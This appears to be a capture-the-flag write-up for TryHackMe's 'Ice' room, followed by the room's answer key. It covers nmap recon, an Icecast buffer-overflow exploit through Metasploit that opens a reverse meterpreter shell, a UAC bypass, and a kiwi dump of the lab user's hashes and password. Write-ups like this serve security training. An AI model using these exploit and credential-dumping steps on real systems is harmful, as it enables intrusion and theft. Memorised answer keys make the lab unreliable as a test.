

# TryHackMe: Ice

## Task 2: Recon

First lets run an nmap scan for all ports

- Nmap -p- -T4 10.10.109.89

```
root@ip-10-10-20-107:~# nmap -p- -T4 10.10.109.89

Starting Nmap 7.60 ( https://nmap.org ) at 2024-06-07 20:09 BST
Stats: 0:01:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 6.38% done; ETC: 20:25 (0:15:24 remaining)
Warning: 10.10.109.89 giving up on port because retransmission cap hit (6).
Stats: 0:20:52 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 87.03% done; ETC: 20:33 (0:03:07 remaining)
Stats: 0:23:23 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 97.44% done; ETC: 20:33 (0:00:37 remaining)
Stats: 0:27:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 20:36 (0:00:00 remaining)
Nmap scan report for ip-10-10-109-89.eu-west-1.compute.internal (10.10.109.89)
Host is up (0.00052s latency).
Not shown: 65523 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsapi
8000/tcp  open  http-alt
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
49160/tcp open  unknown
MAC Address: 02:E8:51:FF:23:63 (Unknown)
```

Next let's enumerate further and focus down on some selected ports – remember we are look for the lowest hanging fruit as a possible attack vector

- Nmap -p135,139,445,3389,5357,8000 -A 10.10.109.98

```

root@ip-10-10-20-107:~# nmap -p135,139,445,3389,5357,8000 -A -Pn 10.10.109.89

Starting Nmap 7.60 ( https://nmap.org ) at 2024-06-07 20:40 BST
Nmap scan report for ip-10-10-109-89.eu-west-1.compute.internal (10.10.109.89)
Host is up (0.00041s latency).

PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  tcpwrapped
5357/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Service Unavailable
8000/tcp   open  http         Iccast streaming media server
|_ http-title: Site doesn't have a title (text/html).
|_ IC Address: 02:E8:51:FF:23:63 (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft
Server 2008 SP2 or Windows 10 or Xbox One (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Micr
P1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%), Micr
te 1 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:e8:51:ff:23:63 (unknown)
|_ smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Dark-PC
|   NetBIOS computer name: DARK-PC\x00
|   Workgroup: WORKGROUP\x00
|_   System time: 2024-06-07T14:40:27-05:00
|_ smb-security-mode:
|   account_used: <blank>
|   authentication_level: user

```

Lots of useful information here – straight away we can answer a couple of the questions such as service running on port 8000 and hostname of machine

## Task 3: Gaining Access

OS is Windows 7 so could be a potential for ms17-010 exploit? Lets find out

Looks like we got a hit!

- Nmap –script= smb-vuln-ms17-010 -Pn 10.10.109.89

```

Host script results:
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).
|
|   Disclosure date: 2017-03-14
|   References:
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 77.26 seconds

```

Lets fire up Metasploit and run the relevant exploit

- Search eternalblue
- Use 0
- Set RHOSTS 10.10.109.89

- Run

Strange? I ran the exploit several times, the first time it hung. The second and third time the status changed from ‘vulnerable’ to ‘target is not vulnerable’. We may have hit a wall with this method.

```
[*] 10.10.109.89:445 - Sending last fragment of exploit packet!
[*] 10.10.109.89:445 - Receiving response from exploit packet

whoami
getuid
^C[-] 10.10.109.89:445 - Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.20.107:4444
[*] 10.10.109.89:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.109.89:445 - Rex::ConnectionTimeout: The connection with (10.10.109.89:445) timed out.
[*] 10.10.109.89:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.109.89:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.20.107:4444
[*] 10.10.109.89:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.109.89:445 - Rex::ConnectionTimeout: The connection with (10.10.109.89:445) timed out.
[*] 10.10.109.89:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.109.89:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) > █
```

Lets check out more about the service running on port 8000 ‘icecast media server’ – I’ve never heard of it!

We could google it e.g. ‘icecast exploit’, but TryHackMe has provided a link to a recommended website – so lets follow it and search for icecast there

<ul style="list-style-type: none"> <li>Known Exploits</li> <li>Assigners</li> <li>CVSS Scores</li> <li>EPSS Scores</li> <li>Search</li> <li>Vulnerable Software <ul style="list-style-type: none"> <li>Vendors</li> <li>Products</li> <li>Version Search</li> </ul> </li> <li>Vulnerability Intel. <ul style="list-style-type: none"> <li>Newsfeed</li> <li>Open Source Vulns</li> <li>Emerging CVEs</li> <li>Feeds</li> <li>Exploits</li> <li>Advisories</li> <li>Code Repositories</li> <li>Code Changes</li> </ul> </li> <li>Attack Surface <ul style="list-style-type: none"> <li>My Attack Surface</li> <li>Digital Footprint</li> <li>Discovered Products</li> <li>Detected Vulns</li> <li>IP Search</li> </ul> </li> <li>Other <ul style="list-style-type: none"> <li>Metasploit Modules</li> <li>CWE Definitions</li> <li>CAPEC Definitions</li> <li>Articles</li> <li>Blog</li> </ul> </li> </ul>	<div> <div>CVE-2014-9091</div> <div>Icecast before 2.4.0 does not change the supplementary group privileges when &lt;changeowner&gt; is configured, which allows local users to gain privileges via unspecified vectors. Source: MITRE</div> <div> <div>Max CVSS</div> <div>4.6</div> </div> <div> <div>EPSS Score</div> <div>0.04%</div> </div> <div> <div>Published</div> <div>2014-12-10</div> </div> <div> <div>Updated</div> <div>2014-12-11</div> </div> </div> <div> <div>CVE-2014-9018</div> <div>Icecast before 2.4.1 transmits the output of the on-connect script, which might allow remote attackers to obtain sensitive information, related to shared file descriptors. Source: MITRE</div> <div> <div>Max CVSS</div> <div>5.0</div> </div> <div> <div>EPSS Score</div> <div>1.98%</div> </div> <div> <div>Published</div> <div>2014-12-03</div> </div> <div> <div>Updated</div> <div>2017-09-08</div> </div> </div> <div> <div>CVE-2005-0838</div> <div>Multiple buffer overflows in the XSL parser for IceCast 2.20 may allow attackers to cause a denial of service and possibly execute arbitrary code via (1) a long test value in an xsl:when tag, (2) a long test value in an xsl:if tag, or (3) a long select value in an xsl:value-of tag. Source: MITRE</div> <div> <div>Max CVSS</div> <div>7.5</div> </div> <div> <div>EPSS Score</div> <div>0.68%</div> </div> <div> <div>Published</div> <div>2005-05-02</div> </div> <div> <div>Updated</div> <div>2017-07-11</div> </div> </div> <div> <div>CVE-2005-0837</div> <div>IceCast 2.20 allows remote attackers to bypass the XSL parser and obtain the source for XSL files via a request for a .xsl file with a trailing . (dot). Source: MITRE</div> <div> <div>Max CVSS</div> <div>5.0</div> </div> <div> <div>EPSS Score</div> <div>0.29%</div> </div> <div> <div>Published</div> <div>2005-05-02</div> </div> <div> <div>Updated</div> <div>2017-07-11</div> </div> </div> <div> <div>CVE-2004-2027</div> <div>Buffer overflow in Icecast 2.0.0 and earlier allows remote attackers to cause a denial of service (crash) via a long Basic Authorization header that triggers an out-of-bounds read. Source: MITRE</div> <div> <div>Max CVSS</div> <div>5.0</div> </div> <div> <div>EPSS Score</div> <div>2.35%</div> </div> <div> <div>Published</div> <div>2004-05-10</div> </div> <div> <div>Updated</div> <div>2017-07-11</div> </div> </div> <div> <div>CVE-2004-1561</div> <div>Public exploit</div> <div>Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers. Source: MITRE</div> <div> <div>Max CVSS</div> <div>7.5</div> </div> <div> <div>EPSS Score</div> <div>96.50%</div> </div> <div> <div>Published</div> <div>2004-12-31</div> </div> <div> <div>Updated</div> <div>2017-07-11</div> </div> </div> <div> <div>CVE-2004-0781</div> <div>Cross-site scripting (XSS) vulnerability in list.cgi in the Icecast internal web server (icecast-server) 1.3.12 and earlier allows remote attackers to inject arbitrary web script via the UserAgent parameter.</div> <div> <div>Max CVSS</div> <div>4.3</div> </div> <div> <div>EPSS Score</div> <div>0.21%</div> </div> <div> <div>Published</div> <div>2004-10-20</div> </div> </div>
--	--

After some searching, I found my way to this page – There's 14 vulnerabilities in total but I'm willing to bet the one we are after is CVE-2004-1561

## Vulnerability Details : CVE-2004-1561 Public exploit exists!

Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.

Published 2004-12-31 05:00:00 Updated 2017-07-11 01:31:09 Source [MITRE](#)

[View at NVD](#), [CVE.org](#)

Vulnerability category: [Overflow](#) [Execute code](#)

Exploit prediction scoring system (EPSS) score for CVE-2004-1561

[EPSS FAQ](#)

**96.50%** Probability of exploitation activity in the next 30 days [EPSS Score History](#)  
**~ 100 %** Percentile, the proportion of vulnerabilities that are scored at or less

### Metasploit modules for CVE-2004-1561

#### Icecast Header Overwrite

Disclosure Date: 2004-09-28 First seen: 2020-04-26

`exploit/windows/http/icecast_header`

This module exploits a buffer overflow in the header parsing of icecast versions 2.0.1 and earlier, discovered by Luigi Auriemma. Sending 32 HTTP headers will cause a write one past the end of a pointer array. On win32 this happens to overwrite the saved instruction

[More information](#)

### CVSS scores for CVE-2004-1561

Base Score	Base Severity	CVSS Vector	Exploitability Score	Impact Score	Score Source	First Seen
<b>7.5</b>	HIGH	<a href="#">AV:N/AC:L/Au:N/C:P/I:P/A:P</a>	<b>10.0</b>	<b>6.4</b>	NIST	

We can confirm we're on the right path by using the information here to answer some of the questions – and what do you know they are correct!

This website even has a path to the Metasploit module we can use!

Lets head back to Metasploit and have a look

- Use `exploit/windows/http/icecast_header`

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/http/icecast_header
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    yes             The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     8000            yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.20.107    yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Automatic
```

Looks like all we need to set is RHOSTS

Run the exploit and we are in!

```
msf6 exploit(windows/http/icecast_header) > set RHOSTS 10.10.109.89
RHOSTS => 10.10.109.89
msf6 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 10.10.20.107:4444
[*] Sending stage (175686 bytes) to 10.10.109.89
[*] Meterpreter session 1 opened (10.10.20.107:4444 -> 10.10.109.89:49190) at 2024-06-07 21:19:13 +0100

meterpreter >
```

## Task 4: Escalate

Now we are in we can run some basic enumeration. It looks like TryHackMe wants to know what user is running the icecast process, we can find this with:

- Ps

We can then find the build and architecture with:

- sysinfo

TryHackMe then suggests running an exploit suggester in Metasploit

Lets put our session into the background – either CTRL+Z or type ‘background’

Then use the exploit suggested setting the relevant options

- use post/multi/recon/local\_exploit\_suggester

```
msf6 exploit(windows/http/icecast_header) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

  Name          Current Setting  Required  Description
  ----          -
  SESSION        false            yes        The session to run this module on
  SHOWDESCRIPTION false            yes        Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.109.89 - Collecting local exploits for x86/windows...
```

After running we have a good result with lots of potential exploits

#	Name	Potentially Vulnerable?	Check Result
1	exploit/windows/local/bypassuac_eventvwr	Yes	The target appears to be vulnerable.
2	exploit/windows/local/ms10_092_schelevator	Yes	The service is running, but could not be validated.
3	exploit/windows/local/ms13_053_schlamperel	Yes	The target appears to be vulnerable.
4	exploit/windows/local/ms13_081_track_popup_menu	Yes	The target appears to be vulnerable.
5	exploit/windows/local/ms14_058_track_popup_menu	Yes	The target appears to be vulnerable.
6	exploit/windows/local/ms15_051_client_copy_image	Yes	The target appears to be vulnerable.
7	exploit/windows/local/ntusermndragover	Yes	The target appears to be vulnerable.
8	exploit/windows/local/ppr_flatten_rec	Yes	The target appears to be vulnerable.
9	exploit/windows/local/tokenmagic	Yes	The target appears to be vulnerable.
10			
11			
12			
13			
14			

Lets pay close attention to the first one on the list!

We can then simply set the payload and options and run the exploit!

- Use exploit/windows/local/bypassuac\_eventvwr

```
msf6 exploit(windows/local/bypassuac_eventvwr) > options

Module options (exploit/windows/local/bypassuac_eventvwr):

  Name      Current Setting  Required  Description
  ----      -
  SESSION    1                yes       The session to run this module on

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.20.107     yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Windows x86

View the full module info with the info, or info -d command.

msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_eventvwr) > run
```

It should of worked perfectly – We should now have a meterpreter shell and if we enter the cmd ‘getuid’, we should be logged in as Dark-PC\DARK. We can view our privileges with the ‘getprivs’ cmd.

There is a privilege listed towards the bottom of the list which will allow us to *take ownership* of files!

## Task 5: Looting

Now were in we want to see if we can gather additional credentials

Lets migrate to a process with suitable permissions as the lsass process – we can use the ‘ps’ cmd and look for the printer service, which is commonly called ‘spool’ – Once we’ve found this process, take note of the PID and migrate to the service using the following cmd

- Migrate [PID]

```
meterpreter > migrate 1376
[*] Migrating from 2172 to 1376...
[*] Migration completed successfully.
```

Check out what user we are now with ‘getuid’ – Looks like we are NT AUTHORITY, which is great, that’s what we are after as this user has admin permissions

Lets load the meterpreter extension ‘Kiwi’ to add to our abilities

- Load kiwi

Now if we type 'help' into meterpreter, we will see new cmds relevant to the kiwi extension

Run the 'creds\_all' cmd to pull credentials

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
=====
Username  Domain  LM              NTLM              SHA1
-----  -
Dark      Dark-PC  e52cac67419a9a22ecb08369099ed302  7c4fe5eada682714a036e39378362bab  0d082c4b4f2aeafb67fd0ea568a997e9d3ebc0eb

Digest credentials
=====
Username  Domain  Password
-----  -
(null)    (null)  (null)
DARK-PC$  WORKGROUP (null)
Dark      Dark-PC  Password01!

tspkg credentials
=====
Username  Domain  Password
-----  -
Dark      Dark-PC  Password01!

kerberos credentials
=====
Username  Domain  Password
-----  -
(null)    (null)  (null)
Dark      Dark-PC  Password01!
dark-pc$  WORKGROUP (null)
```

## Task 6: Post Exploitation

The next section simply requires us to look through the cmds listed when entering the 'help' cmd into meterpreter prompt – easy peasy!



# Answers:

*I haven't included any answer which don't require one!*

## Task 1: Connect

*No answers required*

## Task 2: Recon

3389

*Icecast*

*DARK-PC*

## Task 3: Gaining Access

6.4

*CVE-2004-1561*

*exploit/windows/http/icecast\_header*

*rhosts*

## Task 4: Escalate

*Meterpreter*

*Dark*

7601

*X64*

*exploit/windows/local/bypassuac\_eventvwr*

*LHOST*

*SeTakeOwnershipPrivilege*

## Task 5: Looting

*Spoolsv.exe*

*NT AUTHORITY\SYSTEM*

*Creds\_all*

*Password!*

## Task 6: Post Exploitation

*Hashdump*

*Screenshare*

*Record\_mic*



*Timestamp*

*Golden\_ticket\_create*

## Task 7: Extra Credit

*No answers required*